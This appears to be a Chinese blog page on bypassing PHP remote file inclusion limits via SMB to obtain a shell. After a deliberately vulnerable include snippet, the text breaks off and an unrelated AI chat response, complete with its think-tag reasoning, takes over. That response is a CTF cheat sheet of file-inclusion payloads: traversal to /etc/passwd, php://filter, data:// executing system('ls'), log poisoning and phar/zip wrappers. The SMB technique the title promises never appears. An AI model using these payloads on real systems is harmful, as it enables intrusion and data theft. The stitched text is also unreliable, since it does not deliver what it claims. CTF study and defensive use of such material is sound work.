RFI绕过URL包含限制getshell

本文介绍了一种绕过PHP中远程文件包含(RFI)限制的新方法,即通过SMB共享进行文件加载,即使在allow_url_fopen和allow_url_include关闭的情况下也能实现远程文件包含,展示了如何配置SMB服务器和PHP环境来执行这一攻击。
前言

为什么有今天这篇文章?原因是我在浏览Twitter时,发现关于远程文件包含RFI的一个奇淫技巧!值得记录一下,思路也很新奇!因为它打破我之前以为RFI已死的观点:)

正文
RFI引出

我们知道php最危险的漏洞函数类别之一就是文件包含类的函数,诸如include,include_once,require,require_once语句的时候,都会使用$_GET或者是其他未经过滤的变量,这就是一个主要的安全风险。

在PHP应用中,通常会有两个问题导致RFI漏洞。其中之一就是应用程序逻辑错误。这些漏洞产生的原因是本来应该被包含到另一个页面的文件并没有被包含,而是包含了其他文件。当这些文件独立执行时,就没有配置文件来指定这些变量的默认值,如果web应用配置不正确的话,用户就可以自己指定文件作为请求的一部分。

用一个最简单的例子来演示一下RFI

<?php
$file=$_GET['file'];
include($file);
?>

在上面的代码中,file参数从get请求中取值,并且是用户可控的值。file接收到参数值后直接带入到PHP文件中,没有经过任何处理。这样攻击者就可以发起相应的请求,从而让应用程序执行恶意脚本。例如,一个webshell如下:

<think>嗯,我现在要了解CTF中的include绕过技术。首先,CTF中的文件包含漏洞通常出现在PHP的include、require等函数中,对吧?那用户输入的文件名如果没有正确过滤,可能导致包含恶意文件。常见的绕过方法有哪些呢?比如,利用路径遍历或者编码?比如../这样的目录遍历,或者使用URL编码? 然后,可能有一些特定的过滤机制,比如过滤了../或者斜杠,这时候需要替换成其他编码,比如..%2f或者..\。还有,如果服务器限制了文件后缀,比如必须.php结尾,那是不是可以用%00截断?不过我记得PHP版本5.3之后修复了空字节截断的问题,所以可能得看环境。 另外,远程文件包含RFI)的情况,如果allow_url_include开启的话,可以包含外部URL的文件。但有时候协议会被过滤,比如http://被黑名单,那可能用其他协议比如php://input或者data://来执行代码。例如data://text/plain,<?php system('ls');?>。 还有大小写绕过,比如.PHp这样的后缀,如果服务器对大小写不敏感的话。或者点号加斜杠,比如file.php/.这样的路径,可能绕过某些检查。还有利用日志文件包含,比如包含access.log,通过User-Agent注入PHP代码,然后包含日志文件执行。 哦,对了,有时候会有限制包含的路径,比如必须包含某个目录下的文件,这时候可能需要用软链接或者上传临时文件,但可能比较难。还有利用php://filter来读取源码,比如用resource=flag.php和编码base64,这样可以绕过执行直接读取源码。 不过可能我有没有遗漏什么情况?比如session文件包含,或者上传图片马然后包含?比如上传一个图片,里面带有PHP代码,然后用包含解析成PHP。不过需要服务器配置允许,比如allow_url_include和allow_url_fopen,或者结合文件上传漏洞。 还有,有时候会用长度截断,比如在旧版本的PHP中,超过一定长度的文件名会被截断,从而绕过后缀检查。但可能现在不太适用了。或者利用多个斜杠和点号组合,比如....//....//这样的,经过处理后会变成../..。 另外,如果过滤了php://,可能需要用其他包装器,比如phar://,或者zip://。比如phar://压缩包中的文件,执行代码。或者使用SMB协议远程包含,不过可能受网络限制。 总结一下,常见的绕过方法包括路径遍历、编码绕过、协议利用、特殊字符处理、日志注入、文件上传结合、过滤器利用等。可能还需要根据具体的过滤规则来调整绕过方式,比如黑名单过滤了哪些字符,是否区分大小写,是否检查文件头等。</think>在CTF比赛中,**文件包含漏洞**常出现在PHP的`include`、`require`等函数中。若用户输入的文件名未被严格过滤,攻击者可通过包含恶意文件获取敏感信息或执行代码。以下是常见的绕过技术及示例: --- ### 一、路径遍历绕过 1. **基础绕过** 若未过滤`../`,可直接跳转目录: ```php include($_GET['file']); // 参数?file=../../etc/passwd ``` 2. **编码绕过** - URL编码:`../` → `%2e%2e%2f` 或 `..%2f` - 双重编码:`../` → `%252e%252e%252f` - 绕过斜杠过滤:用反斜杠`..\`(Windows系统有效)。 --- ### 二、后缀名限制绕过 1. **空字节截断** 适用于PHP <5.3: ```php ?file=../../etc/passwd%00 // 截断后缀检查 ``` 2. **伪协议绕过** - 利用`php://filter`读取源码(Base64编码): ```php ?file=php://filter/convert.base64-encode/resource=flag.php ``` - 利用`data://`执行代码(需`allow_url_include=On`): ```php ?file=data://text/plain,<?php system("ls");?> ``` 3. **截断文件名** 旧版本PHP中长文件名会被截断: ```php ?file=../../etc/passwd/./././././././.[重复N次] ``` --- ### 三、特殊场景利用 1. **日志文件注入** - 将PHP代码注入`User-Agent`或`Referer`,再包含日志文件: ```php ?file=/var/log/apache2/access.log ``` 2. **文件上传结合** - 上传含PHP代码的图片(如`shell.jpg`),利用包含解析: ```php ?file=./uploads/shell.jpg ``` 3. **协议包装器** - `phar://`执行ZIP/JAR内文件: ```php ?file=phar://shell.zip/shell.php ``` - `zip://`需指定片段: ```php ?file=zip://shell.zip%23shell.php ``` --- ### 四、过滤规则绕过 1. **黑名单绕过** - 大小写混淆:`.Php`、`.PHP5` - 附加无关字符:`file.php/.`(路径解析为`file.php`) - 利用点号+斜杠:`....//` → `../` 2. **Session文件包含** - 控制`PHPSESSID`写入恶意代码到Session文件,再包含: ```php ?file=/tmp/sess_[session_id] ``` --- ### 五、防御建议 1. 禁用危险配置:`allow_url_include=Off`、`allow_url_fopen=Off`。 2. 白名单限制包含的文件路径。 3. 过滤特殊字符如`../`、`php://`,使用`basename()`处理文件名。 4. 设置`open_basedir`限制文件访问范围。 --- 通过灵活组合上述方法,可应对多数CTF中的文件包含题目。需根据实际过滤规则调整绕过策略,并关注PHP版本和环境配置差异。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值